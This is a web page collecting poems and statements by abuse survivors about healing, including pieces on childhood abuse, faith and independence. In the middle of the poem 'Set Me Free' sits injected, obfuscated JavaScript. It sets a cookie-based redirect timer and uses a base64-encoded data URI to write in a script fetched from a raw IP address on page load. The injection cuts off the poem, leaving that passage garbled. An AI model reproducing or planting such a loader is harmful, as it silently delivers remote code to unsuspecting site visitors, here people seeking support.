Creative Expressions

Many of the survivors use art in its various forms to express their unique individual creativity for their own healing. Here is a collection of poetry, images, videos and creative statements. Feel free to contribute, if you wish. To read the entire creative expression of any survivor's submission, simply click on its title.

Declaration of Independence

by Colleen I am now declaring my independence from all who abuse me. So many people advised me today to back off and separate from my abusers. And so I did. So many people advised me today to take care of myself and my inner child. And so I am. My sister said it was […]

Abuse Begets Abuse — for my daughter

Always the good daughter before Transformed into a mean teen overnight Wary as a wounded bobcat After HIS first visit to my room Cruel, sudden reckoning Trust no one – it’s an unsafe world My stepdad; what’s he thinking? He’s meant to protect me from deeds like this

A Prayer

by: Morris J This man offers what he is to you! You know all of me dark and light. Search all of me and heal what needs healing. I cling to the hope that you give,to the peace that is of you. May my awareness of love’s presence grow. You have bestowed your grace on […]

Set Me Free

by Katie Set me free in the tangled dust Let me breathe wounds of ancient magnification Hurl my stardust deep into heartache and make me new. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Shadow Dance

by Katie The space between love and hatred. The space between endless warmth and terror falling forever dark. The space between supreme tenderness and relentless anguish. Is nigh. All I am is not lost. But it’s hard to see through the fog the space transitional space gets worse before it gets better space the insight […]